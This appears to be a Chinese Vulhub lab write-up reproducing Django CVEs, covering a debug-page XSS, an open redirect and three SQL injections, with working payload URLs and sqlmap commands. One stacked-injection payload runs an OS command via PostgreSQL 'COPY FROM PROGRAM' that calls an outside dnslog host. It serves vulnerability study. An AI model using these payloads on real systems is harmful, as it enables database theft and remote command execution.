Vulhub 漏洞学习之:Django

1 Django debug page XSS漏洞(CVE-2017-12794)

Django发布了新版本1.11.5,修复了500页面中可能存在的一个XSS漏洞。

  1. 用户注册页面,未检查用户名
  2. 注册一个用户名为<script>alert(1)</script>的用户
  3. 再次注册一个用户名为<script>alert(1)</script>的用户
  4. 触发duplicate key异常,导致XSS漏洞

影响范围

Django1.11.15之前的1.11.x版本

1.1 漏洞利用过程

  1. 访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>创建一个用户,成功;

  2. 再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>,触发异常:

  3. Postgres抛出的异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。

    duplicate key value violates unique constraint "xss_user_username_key"
    DETAIL: Key (username)=(<script>alert(1)</script>) already exists.

2 Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)

Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddlewareAPPEND_SLASH来决定)。

在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。

该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。

影响范围

Django1.11.15之前的1.11.x版本

Django2.0.8之前的Django2.0.x版本。

2.1 漏洞利用过程

  1. 环境启动后,访问http://your-ip:8000即可查看网站首页。

  2. 访问http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/

3 Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。

参考链接:

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。

影响范围

Django (1.11.x) Version < 1.11.23

Django (2.1.x) Version < 2.1.11

Django (2.2.x) Version < 2.2.4 作者:zhzyker https://www.bilibili.com/read/cv4579255/ 出处:bilibili

3.1 漏洞利用过程

  1. 首先登陆后台http://your-ip:8000/admin/,用户名密码为admina123123123

  2. 登陆后台后,进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/

  3. 然后在GET参数中构造detail__'123提交,其中detail是模型Collection中的JSONField:

    http://192.168.210.13:8000/admin/vuln/collection/?detail__%27123

    单引号已注入成功,SQL语句报错:

  4. 使用 Sqlmap 枚举数据库

    sqlmap -r "post.txt" --dbms=postgresql --batch --level=5 --dbs
    
    # post.txt
    GET /admin/vuln/collection/?detail__* HTTP/1.1
    Host: 192.168.210.13:8000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; IkT_sid=F200j0; IkT_visitedfid=2; Oek8_2132_saltkey=aKN5TCzQ; Oek8_2132_lastvisit=1642753250; Oek8_2132_ulastactivity=7c78015gAzgUhYx8Y4X7%2B%2FnyKuy1qm4chQpov2yIDC0MSju5YSLC; Oek8_2132_nofavfid=1; Oek8_2132_home_readfeed=1642757408; Oek8_2132_lastcheckfeed=2%7C1642757965; A3bB_2132_saltkey=nv2n2105; A3bB_2132_lastvisit=1642756702; A3bB_2132_ulastactivity=22c6t2t9S2N%2FpQagilNZI0bn%2FoDOUFZ90Bl0uHoyJmzIuaLqgmlK; A3bB_2132_nofavfid=1; A3bB_2132_lastcheckfeed=2%7C1642760420; csrftoken=aSm6HMGLeiaGH9TceWw0HypHtz6T8ALorwm0TjrHI2UN0GZk4z2uSUGTnU6yJGGI; sessionid=vy0qg4zfhtb2ilphmo3gb5w17xpckv3f
    Upgrade-Insecure-Requests: 1

  5. 也可以执行命令

    1. 构造shell,创建cmd_exec

      http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

    2. 执行命令

      http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%201orth7.dnslog.cn%27--%20

4 Django GIS SQL注入漏洞(CVE-2020-9402)

Django在2020年3月4日发布了一个安全更新,修复了在GIS 查询功能中存在的SQL注入漏洞。

参考链接:

该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。

影响范围

Django 1.11.29之前的1.11.x版本

2.2.11之前的2.2.x版本

3.0.4之前的3.0.x版本

4.1 漏洞利用过程

  1. 环境启动后,访问http://your-ip:8000即可看到Django默认首页。

4.1.1 漏洞一

  1. 首先访问http://your-ip:8000/vuln/。在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

    http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1
  2. SQL语句查询报错:

  3. 使用 Sqlmap 枚举数据库

    sqlmap -u "http://192.168.210.13:8000/vuln/?q=*" --batch --dbms=oracle --dbs

4.1.2 漏洞二

  1. 访问http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

    http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
  2. SQL语句查询报错:

  3. 使用 Sqlmap 枚举数据库

    sqlmap -u "http://192.168.210.13:8000/vuln2/?q=*" --batch --dbms=oracle --dbs

5 Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

Django 3.2.4 在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞

参考链接:

该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。

影响范围

Django 1.11.29之前的1.11

5.1 漏洞利用过程

  1. 环境启动后,访问http://your-ip:8000即可看到Django默认首页。

  2. 访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:

    http://your-ip:8000/vuln/?order=-id

  3. 再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collectionvuln应用下的模型Collection

    http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
  4. 成功注入SQL语句,利用堆叠注入获得信息:

  5. sqlmap

    sqlmap -u "http://192.168.210.13:8000/vuln/?order=vuln_collection.name*" --dbms=mysql --batch --dbs

Vulhub 漏洞学习之:Django的更多相关文章

  1. vulhub漏洞环境

    0x00 vulhub介绍 Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更 ...

  2. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  3. python学习笔记--Django入门四 管理站点--二

    接上一节  python学习笔记--Django入门四 管理站点 设置字段可选 编辑Book模块在email字段上加上blank=True,指定email字段为可选,代码如下: class Autho ...

  4. Django学习之django自带的contentType表 GenericRelation GenericForeignKey

    Django学习之django自带的contentType表   通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...

  5. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  6. day 94 Django学习之django自带的contentType表

    Django学习之django自带的contentType表   通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...

  7. 学习了django对于sqlite3进行了了解,谈谈看法

    学习了django对于sqlite3进行了了解,谈谈看法 由于django默认使用的是sqlite3,写了几个建表语句, 然后数据做下迁移,其实就是建表语句的执行. 一直对sqlite3没有一个直观的 ...

  8. day 93 Django学习之django自带的contentType表

    Django学习之django自带的contentType表   通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/a ...

  9. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  10. Django学习之django自带的contentType表

    Django学习之django自带的contentType表 通过django的contentType表来搞定一个表里面有多个外键的简单处理: 摘自:https://blog.csdn.net/aar ...

随机推荐

  1. python-简单模块的使用

    提示:简单模块了解掌握 @ 目录 uuid模块 calendar日历模块 time模块 datetime模块 os模块 sys模块 random模块 json和pickle模块 json pickle ...

  2. python模块的含义

    目录 模块简介 模块的本质 python模块的历史 python模块的表现形式 模块的分类 导入模块的两种句式 强调 import句式 import流程推导 练习 from...import...句式 ...

  3. python前言

    目录 一.typora软件以及markdown语法介绍 1.输入标题的两种方法 2.无序列表 3.有序列表 4.在typora里插入多行代码块 5.制作表格 6.表情包 7.链接 8.Typora查看 ...

  4. MySQL事务(四大特征)-存储过程

    目录 一:事务 1.四大特性(ACID) 2.事物存在的必要性(真实比喻) 3.如何使用事务 4.开启事务-回滚-确认 二:事务案例实战 1.模拟消费 2.创建 3.插入数据 4.开启事务 5.修改操 ...

  5. GeoLayout: Geometry Driven Room Layout Estimation Based on Depth Maps of Planes

    1. 论文简介 论文题目:GeoLayout: Geometry Driven Room Layout Estimation Based on Depth Maps of Planes Paper地址 ...

  6. C/C++语言 MD5例子

    之前研究了一下在C中进行MD5加密,由于找了很久没有找到现成的库文件,所以所幸自己去写了一下.个人感觉C的便捷性没有Python好的原因就是这里. 下面是我写的一个例子. mian.cpp: 点击查看 ...

  7. ArcGIS工具 - 导出数据库结构

    为了保证数据的一致性,数据库结构的正确性在数据库建设和管理过程中显示十分重要,在各个地理信息类项目的技术规定中都对空间数据库的结构进行明确和详细的定义,有时为了方便检查或文档编辑需要将数据结构导出,为 ...

  8. 四平方和【第七届蓝桥杯省赛C++A/B组,第七届蓝桥杯省赛JAVAB/C组】

    四平方和 四平方和定理,又称为拉格朗日定理: 每个正整数都可以表示为至多 4 个正整数的平方和. 如果把 0 包括进去,就正好可以表示为 4 个数的平方和. 比如: \(5=0^2+0^2+1^2+2 ...

  9. Redis+Hbase+RocketMQ 实际使用问题案例分享

    需求 将Hbase数据,解析后推送到RocketMQ. redis使用list数据类型,存储了需要推送的数据的RowKey及表名. 简单画个流程图就是: 分析及确定方案 Redis 明确list中元素 ...

  10. 使用gm/ID方法设计二级运算放大器

    1 设计指标 运算放大器采用图1所示的电路结构,电路中的电流源均采用共源共栅结构,可以获得较高的共模抑制比和电流复制精度.其性能指标为增益带宽积GBW=100MHz,负载电容CL=2pF.本设计采用的 ...